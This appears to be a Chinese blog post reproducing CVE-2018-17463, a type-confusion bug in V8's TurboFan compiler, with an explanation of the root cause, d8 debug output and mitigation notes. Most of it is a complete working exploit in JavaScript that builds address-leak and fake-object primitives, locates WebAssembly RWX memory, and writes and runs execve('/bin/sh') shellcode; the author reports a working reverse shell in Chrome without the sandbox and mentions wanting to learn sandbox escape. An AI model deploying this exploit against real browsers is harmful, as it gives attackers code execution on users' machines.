CVE-2018-17463复现

cve201817463

之前复现了忘发了。才发现写的markdown直接拖进来就能发,还挺方便,不知道是一直有的功能还是新加的,反正好评!!👍

漏洞概述

CVE-2018-17463 是 Google V8 JavaScript 引擎中的一个类型混淆(Type Confusion)漏洞。攻击者可以通过构造特定的 JavaScript 代码来触发该漏洞,最终实现任意代码执行。

漏洞成因

1. 对象属性存储方式变化

V8 引擎在处理 JavaScript 对象时,会根据对象属性的数量和使用情况动态改变对象的存储方式:

  • 当对象属性较少且稳定时,使用"快速属性"(Fast Properties)模式
  • 当对象频繁增删属性或达到一定数量时,切换到"字典属性"(Dictionary Properties)模式

2. TurboFan 优化问题

TurboFan 是 V8 的优化编译器,它会在某些情况下对属性访问进行优化:

  • 在 FastProperties 模式下,TurboFan 会硬编码属性的偏移量
  • 当对象切换到 DictionaryProperties 模式后,属性存储位置发生变化
  • TurboFan 没有正确处理这种模式转换,导致 CheckMaps 节点被错误地优化掉
bash 复制代码
/root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/test_1.js
DebugPrint: 0x8f5f960e261: [JS_OBJECT_TYPE]
 - map: 0x0b281998c9d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
 - elements: 0x3580b2f02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3580b2f02cf1 <FixedArray[0]> {
    #x: 42 (data field 0)
    #y: 21 (data field 1)
 }
0xb281998c9d1: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 40
 - inobject properties: 2
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x0b281998c981 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x11b16dc82201 <Cell value= 1>
 - instance descriptors (own) #2: 0x08f5f960e2c1 <DescriptorArray[8]>
 - layout descriptor: (nil)
 - prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
 - constructor: 0x2df8c4084711 <JSFunction Object (sfi = 0x11b16dc8ed51)>
 - dependent code: 0x3580b2f02391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

DebugPrint: 0x8f5f960e261: [JS_OBJECT_TYPE]
 - map: 0x0b281998ca71 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
 - elements: 0x3580b2f02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x08f5f960e311 <NameDictionary[29]> {
   #y: 21 (data, dict_index: 2, attrs: [WEC])
   #x: 42 (data, dict_index: 1, attrs: [WEC])
 }
0xb281998ca71: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 40
 - inobject properties: 2
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - dictionary_map
 - may_have_interesting_symbols
 - prototype_map
 - prototype info: 0x2df8c40a3341 <PrototypeInfo>
 - prototype_validity cell: 0x11b16dc82201 <Cell value= 1>
 - instance descriptors (own) #0: 0x3580b2f02321 <DescriptorArray[2]>
 - layout descriptor: (nil)
 - prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
 - constructor: 0x2df8c4084711 <JSFunction Object (sfi = 0x11b16dc8ed51)>
 - dependent code: 0x3580b2f02391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

可以看到对o调用Object.create后o的map从FastProperties变为DictionaryProperties,o的properties从FixedArray[0]变为NameDictionary[29],o的map从stable_map变为dictionary_map,且may_have_interesting_symbols。

具体来说,o在内存中的表示方式发生变化,从一种高效的"快速属性"模式切换到了"字典属性"模式。

可能存在的安全问题:

  1. 原型污染
  2. Symbol属性暴露

通过https://v8.github.io/tools/head/turbolizer/index.html可视化。

选择Typer47可以看到每一次LoadField之前都进行了CheckMaps操作,选择simplified modifying57可以看到CHeckMaps节点消失。

解释:最初 b 是一个字段偏移量(field offset)为 12 的 fast property,则 Turbofan 会硬编码该偏移量。之后 obj 被修改成 dictionary mode,此时 b 的值不再存储在固定偏移处,而是存在隐藏类之外的一个字典里。 Turbofan 直接读取了一个错误的偏移地址,可能读取到其他对象的数据、甚至内存中的任意数据。

利用方法: 首先构造一个obj,初始化时赋予属性a,然后增加属性b,函数中首先访问a,通过类型检查,然后读取x.b,由于没有类型检查,此时返回一个与原b属性偏移相同的数据,但由于Properties发生变化,返回的数据不会再是b属性的值,而是我们需要利用的地址。

问题: 尽管有个可以利用的地址,但是随机任意不可控的地址是意义不大的。

解决: 尽管Dictionary内部的内存布局是随机的,不过在V8中有一规律,相同属性的obj,在Dictionary中各属性的偏移也相同。

利用这个方法,访问属性b时会访问到一个不是b的其他元素。

问题: 如何知道可以访问到的其他元素是什么类型的?

解决: 按照一定的规律进行赋值,如属性bi的值定义为-i,然后依次读取,如果读出的值与原值不同,则可以根据读出的值找到最终读出的是哪一个属性的值。

现在获得了一个读a知道b的方法,就可以先进行地址泄露,先设置a为number,b为想要获取地址的object,然后读a就相当于以数字来读取obj的对象指针,可以知道b的地址了。

以同样的方法也可以进行任意地址写。

利用方法:

现在能泄露地址、能任意写,就能触发漏洞了。 创建WebAssembly模块,新建一个WebAssembly.Instance实例,就会自动分配RWX内存,使用地址泄露获取实例的地址,RWX内存的地址存在实例偏移0xf0的位置,构造一个obj使其backing store指向RWX内存,向RWX内存写入shellcode,调用WebAssembly.Instance().export.main()即会执行shellcode。

后期WebAssembly默认不再分配RWX内存。

之后的JIT编译器更保守地插入CheckMaps(如果 Map 被修改,则 CheckMaps 会触发去优化或运行时错误)确保检查到位。

后续有了Heap PartitionAlloc。

🔒 PartitionAlloc 的核心特性:

特性 说明
隔离分配(Isolated Partitions) 将不同类型的数据放在不同的分区中,避免互相干扰
Cookie 检查 分配时加入随机填充值,释放时验证完整性
线程本地缓存(TLS Cache) 加快小对象分配速度
防喷射(Mitigations against heap spraying) 避免攻击者精确控制堆布局
指针压缩(Pointer Compression) 减少内存占用,提高 ASLR 抵抗能力
Hardened Memory Accesses 防止通过伪造对象实现任意读写

poc

js 复制代码
// /root/v8/v8/out/x64.release/d8 /root/script_v8/getshell.js

// 初始化垃圾回收函数,用于强制触发 V8 的 NewSpace 回收
function forceGarbageCollection() {
    for (let i = 0; i < ((1024 * 1024) / 0x10); i++) {
        new String();
    }
}

// 确保 NewSpace 是干净的,避免干扰
function prepareCleanNewSpace() {
    forceGarbageCollection();
    forceGarbageCollection();
}

// 构建 Float64 和 BigUint64Array 来进行浮点数与整数转换
const floatView = new Float64Array(1);
const uint64View = new BigUint64Array(floatView.buffer);

Number.prototype.toBigInt = function () {
    floatView[0] = this;
    return uint64View[0];
};

BigInt.prototype.toNumber = function () {
    uint64View[0] = this;
    return floatView[0];
};

// 十六进制工具函数
function toHexByte(b) {
    return ('0' + b.toString(16)).substr(-2);
}

function hexlify(bytes) {
    let result = [];
    for (let i = 0; i < bytes.length; i++) {
        result.push(toHexByte(bytes[i]));
    }
    return result.join('');
}

function unhexlify(hexstr) {
    if (hexstr.length % 2 !== 0)
        throw new TypeError("Invalid hex string");
    let bytes = new Uint8Array(hexstr.length / 2);
    for (let i = 0; i < hexstr.length; i += 2)
        bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
    return bytes;
}

function hexDump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);
    let lines = [];
    for (let i = 0; i < data.length; i += 16) {
        let chunk = data.slice(i, i + 16);
        let parts = chunk.map(toHexByte);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }
    return lines.join('\n');
}

// 简化版 Struct 类型处理
const Struct = (function () {
    const buffer = new ArrayBuffer(8);
    const byteView = new Uint8Array(buffer);
    const uint32View = new Uint32Array(buffer);
    const float64View = new Float64Array(buffer);

    return {
        pack: function (type, value) {
            const view = type;
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },
        unpack: function (type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");
            const view = type;
            byteView.set(bytes);
            return view[0];
        },
        int8: byteView,
        int32: uint32View,
        float64: float64View
    };
})();

// 64位整数类
function Int64(value) {
    const bytes = new Uint8Array(8);
    switch (typeof value) {
        case 'number':
            value = '0x' + Math.floor(value).toString(16);
        case 'string':
            if (value.startsWith('0x'))
                value = value.substr(2);
            if (value.length % 2 == 1)
                value = '0' + value;
            const bigEndian = unhexlify(value, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (value instanceof Int64) {
                bytes.set(value.bytes());
            } else {
                if (value.length != 8)
                    throw TypeError("Array must have exactly 8 elements.");
                bytes.set(value);
            }
            break;
        default:
            break;
    }

    this.asDouble = function () {
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");
        return Struct.unpack(Struct.float64, bytes);
    };

    this.bytes = function () {
        return Array.from(bytes);
    };

    this.byteAt = function (i) {
        return bytes[i];
    };

    this.toString = function () {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };
}

Int64.fromDouble = function (d) {
    const bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

function utf8ToString(heap, ptr) {
    let s = "";
    for (let i = ptr; heap[i]; i++) {
        s += String.fromCharCode(heap[i]);
    }
    return s;
}

function log(msg, extra = '') {
    print("[+] " + msg + ": " + extra);
}

// =================== //
//     Start here!     //
// =================== //

function checkVulnerabilityExistence() {
    function vulnerableFunction(x) {
        x.a;
        Object.create(x);
        return x.b;
    }
    for (let i = 0; i < 10000; i++) {
        let obj = { a: 0x1234 };
        obj.b = 0x5678;
        let result = vulnerableFunction(obj);
        if (result != 0x5678) {
            log("VULNERABILITY EXISTS", "CVE-2018-17463");
            return;
        }
    }
    throw "Bad d8 version";
}

let overlappingProp1, overlappingProp2;

function findOverlappingProperties() {
    const propNames = [];
    for (let i = 0; i < 32; i++) {
        propNames[i] = 'prop' + i;
    }

    eval(`
        function vulnerableFunction(obj) {
            obj.a;
            this.Object.create(obj);
            ${propNames.map((name) => `let ${name} = obj.${name};`).join('\n')}
            return [${propNames.join(', ')}];
        }
    `);

    const testValues = [];
    for (let i = 1; i < 32; i++) {
        testValues[i] = -i;
    }

    for (let i = 0; i < 10000; i++) {
        const result = vulnerableFunction(getTestObject(testValues));
        for (let j = 1; j < result.length; j++) {
            if (j !== -result[j] && result[j] < 0 && result[j] > -32) {
                [overlappingProp1, overlappingProp2] = [j, -result[j]];
                log("Found overlapping properties", `prop${overlappingProp1} and prop${overlappingProp2}`);
                return;
            }
        }
    }
    throw "[!] Failed to find overlapping properties";
}

function getTestObject(values) {
    const obj = { a: 1234 };
    for (let i = 0; i < 32; i++) {
        Object.defineProperty(obj, 'prop' + i, {
            writable: true,
            value: values[i]
        });
    }
    return obj;
}

function getObjectAddress(obj) {
    eval(`
        function vulnerableFunction(obj) {
            obj.a;
            this.Object.create(obj);
            return obj.prop${overlappingProp1}.x1;
        }
    `);

    const values = [];
    values[overlappingProp1] = { x1: 1.1, x2: 1.2 };
    values[overlappingProp2] = { y: obj };

    for (let i = 0; i < 10000; i++) {
        const result = vulnerableFunction(getTestObject(values));
        if (result != 1.1) {
            const address = Int64.fromDouble(result);
            log("Found object address", address.toString());
            return result;
        }
    }
    throw "[!] AddrOf Primitive Failed";
}

function createFakeObject(obj, address) {
    eval(`
        function vulnerableFunction(obj) {
            obj.a;
            this.Object.create(obj);
            let original = obj.prop${overlappingProp1}.x2;
            obj.prop${overlappingProp1}.x2 = ${address};
            return original;
        }
    `);

    const values = [];
    const placeholder = { x1: 1.1, x2: 1.2 };
    values[overlappingProp1] = placeholder;
    values[overlappingProp2] = obj;

    for (let i = 0; i < 10000; i++) {
        placeholder.x2 = 1.2;
        const result = vulnerableFunction(getTestObject(values));
        if (result != 1.2) {
            log("Fake object created successfully");
            return result;
        }
    }
    throw "[!] FakeObj Primitive Failed";
}

// 创建一个简单的 WebAssembly 模块用于获取 RWX 地址
const wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
const executeWasmFunction = wasmInstance.exports.main;

log("Checking if vulnerability exists");
checkVulnerabilityExistence();

log("Finding overlapping properties...");
findOverlappingProperties();

const memoryBuffer = new ArrayBuffer(1024);
const dataView = new DataView(memoryBuffer);

prepareCleanNewSpace();

log("Getting RWX page address");
const rwxPageAddress = getObjectAddress(wasmInstance);
createFakeObject(memoryBuffer, rwxPageAddress);

const codeAddress = Int64.fromDouble(dataView.getFloat64(0xf0 - 1, true));
log("RWX memory address", codeAddress.toString());

createFakeObject(memoryBuffer, codeAddress.asDouble());

log("Writing shellcode");

// 示例 shellcode(Linux x86_64 execve("/bin/sh"))
const shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

for (let i = 0; i < shellcode.length; i++) {
    dataView.setBigUint64(i * 8, shellcode[i], true);
}

log("Executing shellcode");
executeWasmFunction();

试了一下能用v8复现,页能用chrome复现,用的反射shell能连上,但是只能在google-chrome --no-sandbox里面利用,在想之后想真实场景复现是不是还要学学怎么穿透沙箱机制🤔🤔

相关推荐
用户962377954483 小时前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主1 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954483 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954483 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star3 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher5 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行8 天前
网络安全总结
安全·web安全